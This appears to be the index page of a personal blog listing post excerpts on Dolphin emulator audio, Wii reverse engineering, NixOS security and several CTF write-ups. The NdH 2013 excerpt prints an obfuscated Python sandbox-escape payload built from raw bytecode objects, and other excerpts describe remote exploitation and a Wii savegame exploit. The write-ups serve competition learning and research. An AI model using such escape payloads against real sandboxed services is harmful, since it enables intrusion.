Posts on delroth's homepage

One weird trick to get the whole planet to send abuse complaints to your best friend(s)

Tue, 29 Oct 2024 10:00:00 +0100

It all begins with one scary email late at night just before I had to go to sleep:

From: abuse@hetzner.com
Date: 2024-10-29 01:03:00 CET
Subject: AbuseInfo: Potential Security issue: AS24940: 195.201.9.37

We have received an abuse report from abuse@watchdogcyberdefense.com for your
IP address 195.201.9.37.

We are automatically forwarding this report on to you, for your information.
You do not need to respond, but we do expect you to check it and to resolve any
potential issues.

> To assist you in understanding the situation, we have provided the relevant
> log data below, with timestamps adjusted to our GMT +8 timezone:
>
> DateTime Action AttackClass SourceIP Srcport Protocol DestinationIP DestPort
> 0 28-Oct-2024 19:39:11 DENIED 195.201.9.37 36163 TCP 202.91.162.233 22
> <snip>
> 20 28-Oct-2024 20:36:33 DENIED 195.201.9.37 22044 TCP 202.91.161.97 22
> 21 28-Oct-2024 20:41:37 DENIED 195.201.9.37 9305 TCP 202.91.163.36 22
> 22 28-Oct-2024 20:50:33 DENIED 195.201.9.37 39588 TCP 202.91.163.199 22
> 23 28-Oct-2024 20:50:58 DENIED 195.201.9.37 62973 TCP 202.91.161.41 22
> 24 28-Oct-2024 20:51:50 DENIED 195.201.9.37 3085 TCP 202.91.161.97 22

My wishlist for NixOS security in 2024+

Sat, 04 Nov 2023 00:00:00 +0200

At the last NixCon in Darmstadt and later in private followup conversations I had the opportunity to talk with a lot of amazing fellow NixOS contributors about NixOS security, and how we could improve it in the future.

This article is my personal wishlist of what I think should be worked on in the near-term to mid-term future. It’s not really a roadmap, because I don’t think it has any consensus or authority to be called one, but hopefully it can be used as a reference if anyone is looking for ideas or areas where they could help! It’s a mix of small, medium, and large sized projects. It’s also roughly ordered in terms of how I’d prioritize the work based on how much effort I imagine there is to be done and how much benefit we’d get in return.

Emulators and bundling crypto keys: is it common? is it illegal?

Mon, 05 Jun 2023 00:00:00 +0200

This blog post is a copy of an article I posted on the /r/emulation subreddit regarding the recent Dolphin / Valve / Nintendo “drama”. You can read it with comments over there.

On /r/emulation 8 days ago /u/b0b_d0e (with a “Citra Developer” flair) mentioned:

That’s right, you know how on all these other emulators like citra, ryu, yuzu, cemu etc they all say “dump your keys by following this guide” ever wonder why you didn’t need that with dolphin?

BECAUSE DOLPHIN ILLEGALLY DISTRIBUTES NINTENDO’S WII DECRYPTION KEY

I never really spent the time trying to reply to this. At the time I was more busy trying to make people understand the difference between a DMCA notice and what happened between Valve and Nintendo. But then this was also picked up by my favorite emulation not-journalist MVG who even doubled down on the keys situation in his apology-update video.

So, I wondered: how do other emulators actually fare? I’ll let you decide on your own:

Boston Key Party crackme300 "hypercube" writeup

Sun, 02 Mar 2014 00:00:00 +0200

Been a while since I last took the time to solve a CTF challenge. I did not take part in the Boston Key Party CTF, but a friend of mine told me that I might be interested in this crackme.

hypercube.dol is a GameCube binary that computes a value using terribly unoptimized code. The goal of the challenge is to understand the code and “optimize” the slow parts. Kind of like the “supercomputer” category from PlaidCTF. I like crackmes and I like GameCube RE, so let’s get started!

Why Dolphin is getting rid of asynchronous audio processing

Wed, 10 Jul 2013 00:00:00 +0200

Since the release of Dolphin 3.5 half a year ago, audio processing in Dolphin has changed a lot. In Dolphin versions up to 3.5, a lot of games required low-level emulation of the DSP code in order to not crash or get audio output. This low-level emulation (called DSP LLE) is unfortunately a lot slower than high-level emulation (DSP HLE): while low-level emulation emulates extremely accurately the DSP code by translating the binary code into x86, high-level emulation simply runs C++ code which approximates what the DSP code does. I’ve spent several months rewriting most of the DSP HLE code, fixing sound issues in several dozens of games (my current estimate is around ~150), and now DSP HLE can be used in most GameCube and Wii games that previously required DSP LLE. HLE being a lot faster than LLE, everyone should be happy, right?

Wrong. It turns out that one of the main source of bugs, crashes and inaccuracies in DSP HLE was also one of its main features: the ability to run sound emulation at full speed even if the emulated game is not able to reach 100% speed on a computer. This feature, called asynchronous audio processing, is obviously being requested again by more and more people. This article is here to explain why async audio will not come back and what async audio actually breaks.

Escaping a Python sandbox (NdH 2013 quals writeup)

Sun, 10 Mar 2013 00:00:00 +0200

The Nuit du Hack CTF 2013 Quals round was taking place yesterday. As usual, I’ll be posting a few writeups about fun exercises and/or solutions from this CTF. If you want more, my teammate w4kfu should be posting some writeups as well on his blog soon.

TL;DR:

auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'d\x01\x00i\x00\x00i\x00\x00d\x02\x00d\x08\x00h\x02\x00'
'd\x03\x00\x84\x00\x00d\x04\x006d\x05\x00\x84\x00\x00d\x06\x006\x83'
'\x03\x00\x83\x00\x00\x04i\x01\x00\x02i\x02\x00\x83\x00\x00\x01z\n'
'\x00d\x07\x00\x82\x01\x00Wd\x00\x00QXd\x00\x00S',(None,'','haxx',
l('code')(1,1,1,83,'d\x00\x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'d\x00\x00\x84\x00'
'\x00d\x01\x00\x84\x00\x00\x83\x01\x00|\x01\x00d\x02\x00\x19i\x00'
'\x00i\x01\x00i\x01\x00i\x02\x00\x83\x01\x00S',(l('code')(1,1,14,83,
'|\x00\x00d\x00\x00\x83\x01\x00|\x00\x00d\x01\x00\x83\x01\x00d\x02'
'\x00d\x02\x00d\x02\x00d\x03\x00d\x04\x00d\n\x00d\x0b\x00d\x0c\x00d'
'\x06\x00d\x07\x00d\x02\x00d\x08\x00\x83\x0c\x00h\x00\x00\x83\x02'
'\x00S',('function','code',1,67,'|\x00\x00GHd\x00\x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'g\x00\x00\x04}\x01\x00d\x01\x00i\x00\x00i'
'\x01\x00d\x00\x00\x19i\x02\x00\x83\x00\x00D]!\x00}\x02\x00|\x02'
'\x00i\x03\x00|\x00\x00j\x02\x00o\x0b\x00\x01|\x01\x00|\x02\x00\x12'
'q\x1b\x00\x01q\x1b\x00~\x01\x00d\x00\x00\x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())

GITS 2013 Writeup: MysteryBox (re300)

Sun, 17 Feb 2013 02:00:00 +0200

MysteryBox was a remote server disassembling and running its input data for an unknown RISC-like CPU. As far as I know the unknown CPU is not a “real” CPU but a VM made solely for this challenge. Here is an example of how to interact with the remote MysteryBox service:

$ perl -e 'print "\x00\x00\x00\x00"' |
 nc mysterybox.2013.ghostintheshellcode.com 4242
09007800 ldb sp, sp, sp
Caught signal 11. Program terminated.
 sp=0900bc08 r1=00000000 r2=00000000 r3=00000000 r4=00000000 r5=00000000
 r6=00000000 r7=00000000 r8=00000000 r9=00000000 r10=00000000 r11=00000000
r12=00000000 r13=00000000 r14=00000000 r15=00000000 r16=00000000 r17=00000000
r18=00000000 r19=00000000 r20=00000000 r21=00000000 r22=00000000 r23=00000000
r24=00000000 r25=00000000 r26=00000000 r27=00000000 r28=00000000 r29=00000000
 lr=00000000 ip=09007800 cc=ffff

GITS 2013 Writeup: RTFM (re100)

Sun, 17 Feb 2013 01:00:00 +0200

rtfm-67cc5dcb69df4244bcf2d573481e6d6a06b861a3: ELF 32-bit LSB executable
rtfm-e24f03bb1204f8e3d40fae8ac135187a11b0ba5c: data

rtfm is a binary processing ASCII input files and outputting seemingly compressed versions of these files: testing on a few long text files shows that the size of the output file is smaller than the input file. The second file from this challenge is a file compressed by rtfm, our objective is to write the decompression code for the rtfm compression.

The interesting part of the binary is the function at 0x08048910, which compresses the contents of an input buffer and writes it to a calloc-ed output buffer. For each character of the input stream, the function will read data from a 128 entries table at 0x08048CA0. Each of these entry contains a 16-bit word as well as an 8-bit integer.

GITS 2013 Writeup: HackTheGibson (re250)

Sun, 17 Feb 2013 00:00:00 +0200

hackthegibson: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
 dynamically linked (uses shared libs), for GNU/Linux 2.6.15,
 BuildID[sha1]=0xb8515e4280130d84d4b4e1fd492da1b099ec0eb6, stripped

hackthegibson is a 64-bit ELF for Linux using OpenSSL (libcrypto) and FFTW to analyze the spectrum of samples coming from /dev/dsp.

The program does not take a key as an input, only sound data. That means it will most likely generate and display a key based on the sound. Indeed, at the address 0x401963 we can see that the program uses MD5_Final to generate a MD5 digest and displays it in hex using a printf("%02x") loop. Let’s look at all the references to MD5_Update to understand how this MD5 digest is computed:

Just before the program main loop, the first call to MD5_Update hashes 1 constant byte 0x14
At each iteration of the program main loop, if the function analyzing the sound data returns the expected value (checked using a table mapping iteration number to expected value) MD5_Update is called using that expected value.
Just before the call to MD5_Final the constant byte 0x14 is hashed once again.

Emulating the Gamecube audio processing in Dolphin

Mon, 03 Dec 2012 00:00:00 +0200

For the last two weeks, I’ve been working on enhancements and bug fixes related to audio processing in the Dolphin Emulator (the only Gamecube/Wii emulator that allows playing commercial games at the moment). Through this project I have learned a lot about how audio processing works in a Gamecube. Very little documentation is available on that subject, so I think writing an article explaining how it works might teach some new things to people interested in Gamecube/Wii homebrew development or emulators development. This article was first published in 3 parts on the Dolphin official forums. Before publishing it on the blog, I made some small changes (mostly proof-reading and adding some complementary images) but most explanations are the same.

If you’re interested in the code, it is available in the new-ax-hle branch on the official Google Code repository.

Let’s start this exploration of audio emulation in a Gamecube emulator by looking at how the real hardware processes sound data.

Static analysis of an unknown compression format

Sat, 07 Apr 2012 00:00:00 +0200

I really enjoy reverse engineering stuff. I also really like playing video games. Sometimes, I get bored and start wondering how the video game I’m playing works internally. Last year, this led me to analyze Tales of Symphonia 2, a Wii RPG. This game uses a custom virtual machine with some really interesting features (including cooperative multithreading) in order to describe cutscenes, maps, etc. I started to be very interested in how this virtual machine worked, and wrote a (mostly) complete implementation of this virtual machine in C++.

However, I recently discovered that some other games are also using this same virtual machine for their own scripts. I was quite interested by that fact and started analyzing scripts for these games and trying to find all the improvements between versions of the virtual machine. Three days ago, I started working on Tales of Vesperia (PS3) scripts, which seem to be compiled in the same format as I analyzed before. Unfortunately, every single file in the scripts directory seemed to be compressed using an unknown compression format, using the magic number “TLZC”.

Normally at this point I would have analyzed the uncompress function dynamically using an emulator or an on-target debugger. However, in this case, there is no working PS3 emulator able to help me in my task, and I also don’t possess an homebrew-enabled PS3 to try to dump the game memory. Sadface. I tend to prefer static analysis to dynamic analysis, but I also didn’t know a lot about compression formats at this point. Still, I started working on reversing that format statically.

More fun with the NDH2k12 Prequals VM

Wed, 28 Mar 2012 00:00:00 +0200

This article was co-authored with Samuel Chevet.

During the Nuit du Hack 2012 Prequals contest, we often had to remote exploit some services running in a custom VM (which was recently released on GitHub). After injecting a shellcode in the services (through a remote stack buffer overflow) we were able to run VM code, which can execute interesting syscalls: read, write, open, exit, and a lot more. However there was not a way to directly execute a random x86 binary or to list directories (no getdents), which made it really hard to explore the server filesystem.

After the event ended we got an idea that we could have used to bypass this security and execute any shell command line on the remote server. Using /proc/self/cmdline, we can get the path to the VM binary and download it. Then, using /proc/self/mem we can replace some symbols from the binary by our custom x86 code. This method works because without the grsecurity patchset /proc/self/mem completely overrides NX and allows writing to read-only memory locations (like .text).

GC/Wii DOL Plugin built for IDA 6.1

Thu, 22 Mar 2012 00:00:00 +0200

Once upon a time, Stefan Esser from the Hitmen programmed an IDA loader plugin to be able to analyze DOL files, which is the executable format used for Gamecube and Wii. Builds are published for versions up to 5.2, but nothing more recent.

Fortunately they also released the source to their plugin, which allowed me (with some very minor modifications to the code to use linput_t instead of C FILE structures) to build a version of the IDA DOL loader plugin for IDA 6.1, the version I’m using in my day to day reverse engineering. Here is a link to this build.

Have fun with it!

My Stripe CTF writeup

Thu, 01 Mar 2012 00:00:00 +0200

Recently Stripe (a startup trying to improve online payments for web developers) put online a fun CTF challenge with simple security exercises. Now that the challenge is done and the CTF is offline, I wanted to share my solutions with people who were interested in this CTF but were not able to solve it before the time limit.

Unfortunately I don’t have the original source code of the exercises here. I hope that the Stripe CTF organizers will publish those so that I can explain my exploits better 🙂

Reading Wii discs with Python

Fri, 10 Jun 2011 00:00:00 +0200

What I mean by reading a Wii disc is simple: from a Wii DVD image, being able to get metadata about the game, like its name or its unique ID, but also being able to read the filesystem on the disc to access the game executable and data. We’ll do this in three parts: first, we’ll decrypt the disc clusters to be able to access the raw partition data, then we’ll parse the filesystem to access files and directories, and we’ll end this by a presentation of wiiodfs, the software I created to mount Wii discs on Linux using FUSE.

I currently only have one game disc image on my computer: the one from Tales of Symphonia: Dawn of the New World, PAL version, whose ID is RT4PAF (sha1sum: b2fb05a7fdf172ea61b5d1872e6b121140c95822). I’m going to work on this disc image for my tests, and if needed fix things when I’ll have to open another game DVD image which doesn’t work. To write this article, I’m using documentation from WiiBrew, a wiki about Wii homebrew with a lot of technical informations, and the source code of Dolphin, the Wii emulator (mostly in the Source/Core/DiscIO directory). Thanks a lot to all of the contributors to these projects.

Reverse engineering a Wii game script interpreter

Thu, 09 Jun 2011 00:00:00 +0200

Most games nowadays avoid hardcoding behavior in the main program code. It makes the development process a lot easier by allowing people with less programming experience than the core engine developers to contribute by writing scripts which defines how conversations happen in the game, how menus work, how cinematic scenes go, etc. Scripts are usually written in a higher level language than the game engine, as they require less performance and must be portable when the game needs to run on different platforms. Easy, common script languages like Lua or Python are often used (for example, CCP uses Python to describe the EVE Online client GUI, and Microsoft uses Lua in Freelancer to describe cinematics), but some companies like to create their own language and their own interpreter to do this job.

I’m a fan of Namco’s “Tales of” RPG games. I was given a Wii last december as a gift, and bought “Tales of Symphonia: Dawn of the New World”. As a true hacker interested in game development, after finishing the game, I started investigating how this game actually works behind the scenes. After writing software to read the encrypted Wii disc of the game, I analyzed the data contained on the DVD, trying to find what was each file and how the game engine made all of this into a game.

DEFCON 19 CTF Binary L33tness 300 (b300) writeup

Tue, 07 Jun 2011 00:00:00 +0200

As in the other binary l33tness problems, only a single file was provided in the problem description:

b300_b258110ad2d6100c4b8: gzip compressed data

Decompressing this gives us a tar archive containing these files:

./0/
./0/heap-dump-tm1306902723-pid12959.hprof
./0/classes.dex
./1/
./1/1306902613084.jpgs
./1/1306903692478.jpgs
./2/
./2/1306902613084.jpgs
./2/1306903692478.jpgs

The binary is classes.dex, which is bytecode for the Dalvik virtual machine found on Android devices. The hprof file is a heap profiler output file which contains the state of the program heap at some point during the execution. The .jpgs files seems to contain random data at first, which leaded us to think it was encrypted data we needed to decrypt.

DEFCON 19 CTF Grab Bag 100 (gb100) writeup

Mon, 06 Jun 2011 00:00:00 +0200

gb100 took a lot of time to pwn for us as we ran out of ideas really fast and it was mostly guessing. Anyway, this is a small writeup about this really simple problem from the DEFCON 19 CTF.

The description of this problem contained only a host:port which we had to connect to. For the first 4 to 6 hours of the contest the server simply closed any incoming connection on the specified port, which caused us to try a lot of strange protocols, only to find out 4 hours later that the problem was fixed and was simply an HTTP server.

Release: Eri HaKawai v0.1 for PAL Wiis

Sun, 27 Mar 2011 00:00:00 +0200

Eri HaKawai is a new exploit for PAL Wiis, which works for all currently released System Menu versions (<= 4.3). It works by using a bug in the savegame loading code of Tales of Symphonia: Dawn of the New World, the sequel to the Gamecube game Tales of Symphonia.

I’m releasing it in a source format (no binary data.bin) under the GPLv2. You’ll need a Broadway cross-compilation toolchain, as well as a checkout of Segher’s Wii Git repository. Do whatever you want with it (as long as it is allowed by the license, of course!), I’m just too lazy to distribute binaries.

Download Eri HaKawai v0.1

Jailbreaking a Wii the hard way: how to

Fri, 25 Mar 2011 00:00:00 +0200

This last Christmas I was happy to get gifted a brand new Nintendo Wii (“25 years of Mario” version) from someone in my family. Quickly my interests shifted from “playing games on the system” to trying to understand how the console works, and whether I could potentially run my own code on it. This led to an article on this blog about the Wii DVD file format, but also a lot of research and reverse engineering to understand how games themselves work.

However, while I did learn a lot, I was still not able to run my own code on the console. It’s kind of sad, I would have loved to be able to do more than just reading about the hardware. To run unapproved code on a closed/locked platform, one must use what is called a jailbreak. This usually involves exploiting a security vulnerability in software that already runs on the device (for example, on the Nintendo Wii, a game). Through this vulnerability, arbitrary code gets executed, then this entry point is used to further root the device. The iPhone, for example, was jailbroken via a vulnerability in its PDF reading code, allowing rooting by direct access to a web page. On the Wii, the Bannerbomb exploit allowed until last year jailbreaking a Wii by making it read a malformed image. There are many similar examples.